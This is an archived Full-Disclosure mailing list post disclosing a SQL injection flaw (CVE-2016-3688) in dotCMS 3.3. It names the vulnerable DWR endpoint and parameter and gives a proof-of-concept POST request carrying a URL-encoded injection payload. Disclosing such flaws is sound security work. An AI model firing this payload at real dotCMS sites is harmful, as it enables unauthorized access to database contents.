lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Mon, 4 Apr 2016 11:39:14 +0800
From: xiong piaox <yahoo860201@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] SQL Injection Vulnerability in DotCms v3.3

Hello,please Add the following  to the security mailing-lists.

1、Description

Exploit Title: SQL Injection Vulnerability in DotCms v3.3

Date: 3-28-2016

Vendor Homepage: http://dotcms.com/

Vendor: dotcms

Software: Content Management System

Version: v3.3

CVE:CVE-2016-3688



2、Product Summary

================

*dotcms*
<http://blog.dreamcss.com/content-management-system/dotcms-open-source-java-cms/>
is
a fully featured open source *enterprise grade J2EE/Java based web content
management system *for building/managing websites, content and content
driven web applications. it’s specially designed for bridges the gap
between PHP CMS and J2EE document management solutions. it include features
such as support for virtual hosting, WebDav (beta), structured content,
clustering and can run on multiple databases PostgreSQL, MySQL, MSSQL and
Oracle. It also includes standard WCMS features like page caching,
templating, and a API.



3、Vulnerabilities

================

A SQL injection vulnerability has been identified in dotCMS 3.3 which, if
successfully exploited, could allow an attacker to access sensitive
information in the dotcms database.

Demo:(http://dotcms.com/content-management-system/cms-demo)



The vulnerability is due to the
dwr/call/plaincall/UserAjax.getUsersList.dwr ,“c0-e3”parameter



Proof of concept

================

POST /dwr/call/plaincall/UserAjax.getUsersList.dwr

 callCount=1

windowName=c0-param2

c0-scriptName=UserAjax

c0-methodName=getUsersList

c0-id=0

c0-param0=null:null

c0-param1=null:null

c0-e1=number:0

c0-e2=number:50

c0-e3=string:%25'%20and%201%3D1%20and%20'%25'%3D'

c0-param2=Object_Object:{start:reference:c0-e1, limit:reference:c0-e2,
query:reference:c0-e3}

batchId=4

instanceId=0

page=%2Fc%2Fportal%2Flayout%3Fp_l_id%3Da8e430e3-8010-40cf-ade1-5978e61241a8%26p_p_id%3DEXT_USER_ADMIN%26p_p_action%3D0%26%26dm_rlout%3D1%26r%3D1459154302419


----- Message truncated -----

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Powered by blists - more mailing lists